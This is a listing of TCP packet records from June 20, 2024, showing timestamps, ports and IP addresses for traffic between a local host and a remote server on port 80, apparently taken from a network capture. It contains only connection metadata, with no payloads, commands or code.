Jun 20, 2024 06:49:12.976897955 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.976947069 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.976974010 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.977005959 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.977055073 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.977087021 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.977119923 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.977127075 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.977128029 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.977128029 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.977128029 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.977128029 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.977128029 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.977128029 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.977152109 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.977169991 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.977190018 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.977221966 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.977253914 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.977266073 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.977266073 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.977267027 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.977288008 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.977324009 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.977355003 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.977371931 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.977371931 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.977371931 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.977390051 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.977412939 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.977423906 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.977457047 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.977474928 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.977475882 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.977505922 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.977539062 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.977570057 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.977602005 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.977605104 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.977605104 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.977627039 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.977650881 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.977658987 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.977684975 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.977716923 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.977724075 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.977724075 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.977750063 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.977782011 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.977814913 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.977817059 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.977817059 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.977849960 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.977866888 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.977866888 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.977885962 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.977917910 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.977920055 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.977951050 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.977952003 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.977979898 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.977982044 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.978001118 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.978013039 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.978044987 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.978044987 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.978077888 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.978110075 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.978141069 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.978173018 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.978174925 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.978174925 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.978174925 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.978204966 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.978238106 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.978243113 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.978243113 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.978255033 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.978271961 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.978303909 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.978338003 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.978343964 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.978343964 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.978343964 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.978369951 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.978403091 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.978408098 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.978446007 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.978446007 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.978452921 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.978501081 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.978533983 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.978539944 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.978555918 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.978565931 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.978596926 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.978599072 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.978635073 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.978667021 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.978698015 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.978705883 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.978705883 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.978719950 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.978729963 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.978763103 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.978794098 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.978806019 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.978806019 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.978806019 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.978830099 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.978856087 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.978866100 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.978873968 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.978914976 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.978920937 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.978949070 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.978980064 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.979012012 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.979032993 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.979032993 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.979044914 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.979078054 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.979108095 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.979110956 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.979110956 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.979121923 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.979140997 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.979190111 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.979223967 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.979242086 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.979249954 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.979283094 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.979316950 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.979347944 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.979379892 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.979410887 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.979444027 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.979446888 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.979446888 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.979446888 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.979469061 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.979476929 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.979511023 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.979515076 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.979547024 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.979547024 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.979557991 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.979593039 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.979624987 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.979648113 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.979657888 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.979690075 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.979722023 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.979753017 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.979759932 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.979760885 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.979760885 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.979760885 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.979784966 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.979815960 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.979846954 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.979891062 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.979891062 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.979891062 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.979897022 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.979929924 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.979965925 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.979996920 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.980001926 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.980001926 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.980016947 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.980030060 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.980062008 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.980066061 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.980093956 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.980117083 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.980117083 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.980123997 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.980139971 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.980158091 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.980190039 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.980192900 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.980209112 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.980221987 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.980254889 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.980261087 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.980289936 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.980325937 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.980353117 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.980385065 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.980397940 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.980397940 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.980397940 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.980397940 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.980417967 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.980449915 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.980503082 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.980514050 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.980514050 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.980514050 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.980535984 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.980567932 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.980598927 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.980603933 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.980633974 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.980635881 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.980654001 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.980667114 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.980705976 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.980720997 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.980720997 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.980737925 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.980756998 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.980772018 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.980811119 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.981038094 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.981038094 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.070379972 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.070415974 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.070449114 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.070478916 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.070528984 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.070560932 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.070593119 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.070605993 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.070625067 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.070676088 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.070724964 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.070727110 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.070727110 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.070727110 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.070758104 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.070789099 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.070794106 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.070822954 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.070853949 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.070854902 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.070853949 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.070869923 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.070888996 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.070909977 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.070920944 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.070952892 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.070982933 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.071010113 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.071010113 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.071010113 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.071029902 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.071038008 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.071063042 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.071106911 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.071131945 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.071131945 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.071140051 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.071172953 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.071203947 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.071223974 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.071223974 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.071223974 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.071235895 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.071260929 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.071285963 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.071300030 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.071321964 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.071352959 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.071403027 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.071413994 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.071413994 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.071435928 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.071469069 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.071500063 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.071504116 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.071532011 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.071532011 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.071563005 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.071582079 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.071582079 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.071594954 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.071618080 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.071626902 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.071660995 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.071681023 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.071681023 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.071690083 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.071711063 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.071722984 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.071738005 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.071841955 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.071924925 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.071958065 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.071989059 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.071994066 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.072015047 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.072022915 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.072052002 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.072056055 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.072088957 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.072099924 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.072101116 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.072120905 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.072141886 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.072153091 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.072179079 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.072185040 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.072199106 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.072216988 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.072235107 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.072264910 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.072298050 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.072329998 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.072340012 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.072340012 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.072362900 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.072375059 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.072412968 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.072432041 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.072444916 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.072468996 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.072475910 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.072515965 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.072515965 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.072525978 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.072559118 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.072590113 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.072603941 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.072603941 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.072623968 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.072655916 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.072658062 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.072671890 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:13.072736979 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.072767973 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:13.072798967 CEST	80	49743	5.42.65.116	192.168.2.4
